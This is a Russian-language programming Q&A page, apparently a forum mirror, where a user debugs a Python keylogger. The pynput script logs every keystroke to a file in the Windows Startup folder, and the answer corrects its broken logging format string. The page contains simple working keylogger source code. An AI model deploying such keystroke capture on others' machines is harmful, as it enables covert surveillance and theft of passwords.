Ошибка регистрации, ошибка аргумента TypeError при запуске регистратора - PullRequest
0 голосов
/ 15 октября 2019

Когда я пытался сделать клавиатурный логгер, эта ошибка появлялась каждый раз, когда я нажимал клавишу (в данном случае это d). Ниже мой код и вот мой журнал ошибок:

--- Logging error ---
Traceback (most recent call last):
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\logging\__init__.py", line 1025, in emit
    msg = self.format(record)
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\logging\__init__.py", line 869, in format
    return fmt.format(record)
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\logging\__init__.py", line 611, in format
    s = self.formatMessage(record)
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\logging\__init__.py", line 580, in formatMessage
    return self._style.format(record)
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\logging\__init__.py", line 422, in format
    return self._fmt % record.__dict__
TypeError: not enough arguments for format string
Call stack:
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\threading.py", line 890, in _bootstrap
    self._bootstrap_inner()
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\threading.py", line 926, in _bootstrap_inner
    self.run()
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\site-packages\pynput\_util\__init__.py", line 144, in run
    self._run()
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\site-packages\pynput\_util\win32.py", line 353, in _run
    self._process(msg.wParam, msg.lParam)
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\site-packages\pynput\_util\__init__.py", line 162, in inner
    return f(self, *args, **kwargs)
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\site-packages\pynput\keyboard\_win32.py", line 240, in _process
    self.on_press(key)
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\site-packages\pynput\_util\__init__.py", line 78, in inner
    if f(*args) is False:
  File "C:\Users\User\Desktop\Random programs\Keyloggar.pyw", line 11, in on_press
    logging.info(key)
Message: 'd'
Arguments: ()

Это мой код:

from pynput.keyboard import Key, Listener
import logging

#Defining the directory as well as the key strokes
log_dir = "C:/Users/User/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
logging.basicConfig(filename=(log_dir+"key_logger.txt"), level=logging.DEBUG, format = '% 
(asctime)s:%s(messages)')

def on_press(key):
    logging.info(key)
#Giving access of me to myself
with Listener(on_press=on_press) as Listener:
    Listener.join()

Может кто-нибудь сказать мне, что я сделал не так? Я неправильно импортировал модуль?

1 Ответ

1 голос
/ 15 октября 2019

Ваш формат регистрации неправильный.

Просто замените format = '% (asctime)s:%s(messages)' на format='%(asctime)s:%(message)s'

...